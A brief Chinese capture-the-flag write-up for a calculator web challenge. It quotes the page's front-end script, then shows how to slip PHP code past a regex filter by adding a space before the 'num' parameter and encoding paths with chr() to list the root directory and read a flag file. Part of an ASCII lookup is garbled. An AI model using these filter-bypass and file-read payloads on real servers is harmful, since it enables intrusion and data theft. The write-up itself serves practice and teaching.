
打开网页后,一个网页计算机

正常算是可以算的,输入注入字符会提示

输入其他字符弹窗口

查看页面源码,设置有 waf?

<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
</script>
在源码也可以看到前端的一些设置,对应之前的输入对错,而在 url 中可以看到 calc.php

一段正则过滤,过滤了很多东西,根目录用 ASCII 表示

绕过处理,在传入变量前加空格使内部检测不到之后的变量,但是 php 会删去空格运行后面内容
node4.buuoj.cn:29499/calc.php? num=var_dump(scandir(chr(47)))

49? ? ? ? ?1?
102????????f
103????????g
97? ? ? ? ? a
file_get_contents
node4.buuoj.cn:29499/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

?
|